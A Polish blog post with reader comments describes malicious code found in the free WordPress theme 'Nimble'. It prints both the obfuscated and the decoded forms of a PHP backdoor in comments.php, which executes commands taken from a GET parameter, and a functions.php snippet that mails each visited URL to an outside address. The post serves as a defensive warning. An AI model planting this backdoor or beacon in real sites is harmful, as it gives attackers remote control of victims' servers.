Darmowe szablony/skórki WordPress – sprawdź kod zanim wrzucisz na serwer

Darmowa skórka WordPress i niespodzianka w kodzie

Wpis z serii Dobre Rady Wuja Toma, przy czym tym razem rady udziela Tomasz Jach – znajomy, który trafił na ten przypadek i zaproponował napisanie tekstu na ten temat. Ku przestrodze dla innych eksperymentujących na swoich blogach.

Oczywiście sprawa nie dotyczy wyłącznie WordPress-a i skórek czy pluginów do niego. Trzeba zachować ostrożność przy korzystaniu z wszystkich możliwych skryptów i programów. Wirusy i inne złośliwe skrypty czyhają wszędzie. Zasada ograniczonego zaufania jest stale aktualna. „Everybody lies”, jak by to skwitował Dr Gregory House.

Poznajcie skórkę „Nimble”

Poznajcie darmową skórkę o nazwie Nimble, udostępnioną przez serwis wpthemespress.com. Theme jest prosty, przejrzysty i elegancki, aż chce się go wykorzystać na swoim blogu. W ciągu ostatniego roku z możliwości pobrania jej z tego serwisu skorzystało 937 osób.

Nimble: 2 Column Dark Adsense and Widget Ready WordPress Theme.

Professional Web 2.0 Premium WordPress Theme. It’s a very sleak and light weight theme that’s ultra flexible for customization.

Skórka ta jest jednak wyjątkowa z innego powodu.

functions.php

Plik functions.php znajdujący się w katalogu skórki jest wykonywany przy każdym otworzeniu bloga. Zwykle umieszcza się z nim funkcje, które np. rozszerzają możliwości konkretnego szablonu. Bardzo przydatna sprawa, sam z niej korzystam. W tym przypadku w tym pliku znalazła się jeszcze jedna dodatkowa „funkcjonalność”.

Nie będę tu przeklejał całego syfiastego skryptu, ponieważ zajmuje sporo miejsca, ale jego fragment widzicie na screenie na początku tekstu. W każdym razie, po przetworzeniu (a skubaństwo jest niezłe, dekoduje sobie dekodery do dekodowania odpowiednich fragmentów „tekstu”), wywoła się coś takiego (Tomek przesłał mi od razu przetworzone skrypty):

?><?php
$email = 'spameeeeddd@gmail.com <mailto:spameeeeddd@gmail.com>';
$message = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
$headers = 'MIME-Version: 1.0'."\r\n";
$headers .= 'Content-Type: text/html'."\r\n";
$headers .= 'Content-Transfer-Encoding: quoted-printable'."\r\n";
@mail($email, 'Nimble', $message, $headers);
?><?

Czyli każdorazowe wejście na bloga powodowało ciche wysłanie na określony adres e-mail adresu odwiedzonej podstrony.

Osoba, która opublikowała ten theme, otrzymywała informację gdzie jest wykorzystywana jej skórka. Na skrzynce lądował każdy dostępny na blogu adresik.

Ale to jeszcze nie wszystko

Poprzedni ukryty kod to pikuś (a nawet pan pikuś) w porównaniu z tym, co można znaleźć w pliku comments.php, odpowiedzialnym za generowanie komentarzy na blogu.

<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwKEgsLi7JKCrVUIl3dw2JVs9NLUlUj9VUsAcqAAA=')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwKK4sLknN1VCJd3cNiVbPTS1JVI/VVLAHSgMA')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwSC1LzNFQiXd3DYlWz00tSVSP1VSwB0oCAA==')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwyMxLzilNSdVQiXd3DYlWz00tSVSP1VSwB8oDAA==')));?>
<?php // Do not delete these line

A po rozkodowaniu widzimy coś takiego:

?><?php @passthru($_GET['meta']) ?><? //Execute an external program and display raw output
?><?php @system($_GET['meta']) ?><?     //Execute an external program and display the output
?><?php @include($_GET['meta']) ?><? //The include() statement includes and evaluates the specified file.
?><?php @eval($_GET['meta']) ?><? //Evaluate a string as PHP code

No proszę, backdoor. Wystarczy wywołać stronę z odpowiednio spreparowanym parametrem, a na odpowiednio skonfigurowanym serwerze można zrobić niezłe kuku.

A adresy wszystkich podatnych stron przecież mamy na odpowiedniej skrzynce, bo znaleziony w functions.php skrypcik już nas poinformował gdzie atakować.

Odpowiedź autora strony na zgłoszenie syfu:

Braydon D’aguiar do Tomasz 05.11.2009 14:28

Shit!!!! Thanks. I had someone managing that site for me and they mist of done it.

Pobrałem też paczkę z Nimble, nie ma już syfu.

Sprawdzaj kod

Sprawdzaj, sprawdzaj i jeszcze raz sprawdzaj kod skórek, pluginów i innych gotowych skryptów, które wrzucasz na swój serwer.

Wszelkie bloki zakodowanego skryptu powinny od razu zapalić w głowie ostrzegawczą lampkę. Jeśli nie jesteśmy w stanie samemu przeanalizować całego kodu, pomolestujmy trochę bardziej obeznanych znajomych.

Komentarze do wpisu "Darmowe szablony/skórki WordPress – sprawdź kod zanim wrzucisz na serwer" (dodaj swój »)

  1. Piotr Bielecki

    czwartek, 5 lis 2009 #Piotr Bielecki (WWW)

    Taaak, a tyle mówi się o kodowanych stopkach w szablonach. Być może ten zakodowany fragment faktycznie czasami wyświetla tylko niewinne linki do autorów, ale na wszelki wypadek wszelkie zakodowane fragmenty kasuję.
    ;-P

    Odpowiedz na to

  2. michał,

    czwartek, 5 lis 2009 #michał, (WWW)

    1. zaraz sobie też sprawdzę kod mojego bloga.
    2. kto by się spodziewał czegoś takiego…
    3. a gdzie znaleźć dekodery wspomniane przez ciebie?

    pzdr,
    m.

    Odpowiedz na to

  3. Tomasz Jach

    czwartek, 5 lis 2009 #Tomasz Jach

    Ja tylko dodam, że całość rozkodowała Iwonka (http://ipol.cyfrowy.net) :)

    @michał,
    niestety – o ile mi wiadomo, jest to kwestia rozkodowywania ustawicznego przez base64decode (np. PSpad ma taką możliwość offline).

    Tak jak Tomek tutaj wspomniał – ten konkretny przypadek miał to do siebie, że był kilkukrotnie zakodowany, więc trzeba było nad tym posiedzieć sporo czasu.

    Odpowiedz na to

  4. MrCichy

    czwartek, 5 lis 2009 #MrCichy (WWW)

    Ostatnio usłyszałem pytanie, dlaczego mam bloga na Blogspocie, a nie na WordPressie. Właśnie dlatego. Ja tego nie ogarniam, nie rozumiem, nie umiem – i bym sobie tylko krzywdę zrobił. I choć kusi mnie czasem przejście, to muszę sobie powtarzać, aby nie brać się za coś, czego nie umiem. To był chyba pierwszy wpis u Ciebie, w którym nie zrozumiałem tak wielu fragmentów:) Dobrze, że wytłumaczyłes:)

    Odpowiedz na to

  5. Tomek Wójcik

    czwartek, 5 lis 2009 #Tomek Wójcik (WWW)

    Jak to dobrze, że jestem maniakalnym programistą-grzebaczaem :).
    Powiadomiliście jakoś twórców tematu o złośliwym kodzie? Może nie są nawet tego faktu świadomi, a skrypty zostały zmodyfikowane podczas np. włamu na ich serwery? Chyba, że w innych tematach z tego serwisu też są takie wałki :)…

    Odpowiedz na to

    • Tomasz Topa

      czwartek, 5 lis 2009 #Tomasz Topa

      Dałem znać przez formularz kontaktowy na stronie. Zobaczymy jaka będzie odpowiedź.

      Jeśli to nie jest świadomy zabieg (przeglądałem też kilka innych ich skórek i nie było nic niepokojącego), to musieli wrzucić do ściągnięcia podesłany im theme bez dokładnego sprawdzenia kodu. Cała sytuacja dziwna.

      Odpowiedz na to

  6. Kapsel

    czwartek, 5 lis 2009 #Kapsel (WWW)

    Ha! a ostatnio trafiłem parę szablonów z kodowanymi stopkami i jakoś tak w naturalny sposób w ramach „bhp” je z zakodowanego kodu wyczyściłem… teraz czas sprawdzić resztę ;]

    Przy okazji z tego miejsca chciałem pozdrowić Iwonę i Tomka J. – świat jest mały :D

    Odpowiedz na to

  7. czwartek, 5 lis 2009 #radar

    jestem w lekkim szoku po tym co przeczytałem. czy problem dotyczy też szablonów z bloggera? i czy taka działalność zawsze pozostaje niewykrywalna? (mam na myśli np. funkcję oznaczania bezpiecznych i groźnych stron przez firefoksa, wiecie, znaczki w wynikach googla).

    Odpowiedz na to

  8. Kapsel

    czwartek, 5 lis 2009 #Kapsel (WWW)

    @radar – Google dba o użytkowników, jego ostrzeżenia dotyczą wirusów i innej podejrzanej treści, nie ma to związku z opisanym problemem, więc ostrzeżeń też nie będzie.

    Odpowiedz na to

  9. czwartek, 5 lis 2009 #radar

    czyli nie ma szans na wykrycie takich kwiatków „z automatu”? trzeba samemu przejrzeć kod?

    Odpowiedz na to

    • Tomasz Topa

      czwartek, 5 lis 2009 #Tomasz Topa

      Google jest w stanie zaalarmować Cię w sytuacji, gdy jakaś strona wysyła niebezpieczny kod do przeglądarki internauty. Opisywana tu sytuacja w całości odbywa się na serwerze właściciela bloga, „od kuchni”. Do przeglądarki czytelnika nie jest nic wysyłane, nikt postronny się nie dowie, że coś jest nie tak.

      Odpowiedz na to

    • Ravicious

      czwartek, 5 lis 2009 #Ravicious (WWW)

      Exploit Scanner może przeskanować pliki szablonu i bazę danych w poszukiwaniu szkodliwego kodu.

      Odpowiedz na to

  10. Małgorzata Leliwa

    czwartek, 5 lis 2009 #Małgorzata Leliwa (WWW)

    Internet jest jednak zły. ;-) Pozdrowienia dla Tomasza J. ;-)

    Odpowiedz na to

  11. procek

    czwartek, 5 lis 2009 #procek (WWW)

    Dlatego najlepiej tworzyć własne templatki na bazie standardowych, choć w Joomla! w ramach standardowych skórek pojawiały się również takie z dziurami. WordPress jest o tyle gorszy od Joomli, że w kodzie jego templatek bezkarnie może występować PHP – Joomla owszem pozwala na to, ale nikt tego nie używa w templatkach dla zwykłych użytkowników systemu :)

    Odpowiedz na to

    • Tomasz Topa

      czwartek, 5 lis 2009 #Tomasz Topa

      Jeśli tylko gdzieś jest możliwość wepchnięcia nieświadomym internautom syfu, to trzeba na takie syfy uważać.

      Już pierwsze zabawy z PHP-Nuke (o rany, ile to lat temu było! jak ten czas szybko leci…) nauczyły mnie, że takie popularne, darmowe systemy to siedlisko wszystkiego złego. Kiedyś PHP-Nuke, później Mambo, Joomla, teraz WordPress – naturalna kolej rzeczy.

      Odpowiedz na to

  12. gdaq

    czwartek, 5 lis 2009 #gdaq (WWW)

    No słabo! Nigdy bym nie pomyślał o tym, żeby sprawdzać szablon czy ktoś w nim nie zachachmęcił :)

    Odpowiedz na to

  13. Tomasz Topa

    czwartek, 5 lis 2009 #Tomasz Topa

    Uaktualniłem wpis, uzupełniłem o odpowiedź admina tej strony, która udostępniła skórkę. Chyba był zaskoczony.

    Odpowiedz na to

    • Tomasz Kowalczyk

      poniedziałek, 21 gru 2009 #Tomasz Kowalczyk (WWW)

      A jaki miał być? Przecież nie powiedziałby czegoś w stylu: „sorry, faktycznie, wrzuciliśmy wirusa, ale jesteś lepszy od nas”. ;]

      A tak na poważnie, to trudno sprawdzić taki szablon, bo czasem te stopki są tak „zaszyte”, że to kwestia przypadku, czy znajdziemy odpowiedni fragment, czy nie.

      Odpowiedz na to

  14. Jacek

    wtorek, 10 lis 2009 #Jacek (WWW)

    Z jednej strony wrzucanie wirusów uważam za świństwo, ale z drugiej dekodowanie kodu i usuwanie np. linków do stron autorów uważam za świństwo. Nie po to człowiek zasuwa pare dni, aby stworzyć dobry szablon, żeby później nie czerpać korzyści z tych kilku linków które do niego prowadzą.

    Odpowiedz na to

  15. procek

    wtorek, 10 lis 2009 #procek (WWW)

    Masz rację, ale zobacz co się dzieje na Allegro – nie można już konkurować z „nimi” ceną, bo goście za 50zł sprzedają gotowe, pocięte szablony. Inna sprawa, że jest to bezczelnie kradzione z joomlaos.de czy innych serwisów z templatkami. Ktoś taki wystawia aukcję, kradnie szablon i sprzedaje go za 50zł. W pół godziny spokojnie się wyrobi: 100zł/godzinę – niesamowita pensja jak na kogoś, kto nigdy nie zajmował się programowaniem webowym… Ale tu już zbliżamy się do niebezpiecznego tematu – „ceny zleceń za strony www”, więc nie ciągmy tego tematu ;)

    Odpowiedz na to

    • Tomasz Topa

      środa, 11 lis 2009 #Tomasz Topa

      No, jumanie darmowych gotowców i sprzedawanie ich za grosze to inna plaga.

      Zakodowane stopki czy systemy licencyjne też rozumiem, każdy producent stara się zabezpieczyć swoje interesy. I też mi się zdarzało rozkodowywać takie skrypty i usuwać zabezpieczenia żeby spokojnie popracować nad danym skryptem na domowym serwerku :)

      Odpowiedz na to

  16. wtorek, 26 sty 2010 #Rico Roco (WWW)

    Cześć Tomek :)
    Znam Twój Blog i czasem tu zaglądam, jednak do tej pory jako turysta. Teraz znowu tu wpadłem, tym razem szukając dodatkowych „dingsów” do implementacji w mojej zabawce, która jest zbiorem dekoderów/koderów. Jestem webasterem, sam piszę skórki do różnych cms’ów i znam ten temat od dość dawna. W tym przypadku autor tego stylu, mógł łatwo przejąć ofiarę i miał kompendium wiedzy o swoich ofiarach via email.
    Jest pełno tzw. darmowych styli i proceder ukrywania kodu trwa. Są głosy, że rozkodywanie, to łamanie licencji, praw autorskich itp bzdety. Jestem odmiennego zdania. Wyobraźmy sobie, że jakiś np. duchowny prowadzi Blog. Podoba mu się styl i go instaluje. Nie wie, że w kodzie stopy są ukryte linki, które referują do stron np. o viagrze, powiększaniu ogórka, czy casyna itd.. Można by rzec, że to nie moralne, skoro ktoś pisze w kodzie, że edycja to łamanie praw autorskich, a zaraz po tym leci zamaskowany kod. Mamy więc sytuację patową. Rozkodować czy nie? Trzeba sobie uświadomić, że są ludzie, którzy żerują na nieświadomości innych ludzi, na ich naiwności czy uczciwości itd. Jestem zdania, że mam prawo wiedzieć co jest ukrywane w stylu, który mam zamiar u siebie zastosować. Nie mam zamiaru łamać licencji, ale chcę wiedzieć, jeśli jest ok, to wporzo, a jeśli nie? To nawet jakby było ze szczerego złota wysadzanego brylantami, to ląduje w koszu, może z większym brzdękiem.. Do tego też mam prawo.
    Dlatego cieszę się, że trafiam na kolejny artykuł uświadamiający ludziom realne zagrożenia ich prywatności, jak również zniszczenia ich pracy.
    Zajmuję się hobbystycznie pomocą dla skryptu forum SMF, ale takie zagadki z kodem rozwiązuję od dawna, (tylko w komercyjnych klimatach, więc linkami nie rzucam..), i teraz na moje forum, również trafiły prośby o rozkodowanie kodu. Postanowiłem, że udostępnię swoją zabawkę, którą używałem zazwyczaj na localhoście. Jest to zbiór różnych dekoderów, część jest mojego pomysłu, resztę mam w ramkach, ale to dozwolone w tym wypadku, nie łamię niczyich praw autorskich, zresztą wszędzie podałem linki bezpośrednie.
    Na moim forum prośby pojawiły tu: http://poligon.ricoroco.com/fora/smf/index.php?board=30.0 Można też tam zadać pytania, jeśli ktoś miałby problemy z kodem lub nie potrafił się posłużyć dekoderem lub miał własne tipsy. Sam dekoder udostępniam np. tu: http://poligon.ricoroco.com/fora/smf/index.php?action=decoder zresztą na stronie gł. również jest link.
    Tomku, to nie jest autoreklama, nie zależy mi na tym i tak Pani w okoolarach u mnie ciągle nocuje :) Poszukuje jeszcze dodatkowych rozwiązań, ale sądzę, że przy tym co już tam jest w 90% przypadków uda się rozkodować zamaskowany kod i mam nadzieję, że zabawka wam się przyda, jeśli tak, to prośba: „podaj dalej”. Mam nie limitowane transfery, więc nie obawiam się przeciążeń.
    Jeśli ktoś zabawia się swoim Wp, testuje, bawi się nim, configuruje itd.. to polecam wtyczkę którą można zeskanować wszystkie style pod kątem ukrytego kodu i go wyświetla ze wskazaniem dokładnym miejsca. Wtyczka nazywa się TAC i jest to skrót od ang. Theme Authenticity Checker, przydatna rzecz i sam z niej korzystam, link: http://builtbackwards.com/projects/tac/
    Polecę jeszcze fajną stronkę, którą każdy bloger na skrypcie WP powinien przeczytać z uwagą: http://www.hungry-hackers.com/2010/01/43-excellent-wordpress-security-tips-and-plugins.html
    Okay, rozpisałem się trochę sorka, ale mam nadzieje, że okaże się to pomocne wielu nieświadomym Blogerom.
    Uważam, że – jak można ukrywać w stylach kod w czasie, kiedy ciągle dochodzi do tylu włamów na WP i ciągle mamy nowe wersje, nie powinno to być zabronione?
    Zapraszam do mojej zabawki i pozdrawiam brać blogerską, Ciebie też Tomku, jak dla mnie, to jesteś pozytywnie zakręconym Blogersem ;)
    roco
    PS. Traktuj ten wpis jak chcesz, jeśli uważasz, że coś z nim nie tak, to nie krępuj się go wyciąć.

    Odpowiedz na to

  17. sobota, 20 mar 2010 #hp

    Szukasz naprawdę darmowej strony ? Darmowe strony dla firm.

    Odpowiedz na to


  18. Na blogu działa system WP Super Cache oraz filtr antyspamowy. Twój komentarz może się pojawić na stronie z pewnym opóźnienem - cierpliwości.

    Nowe komentarze do tego wpisu możesz również śledzić poprzez RSS.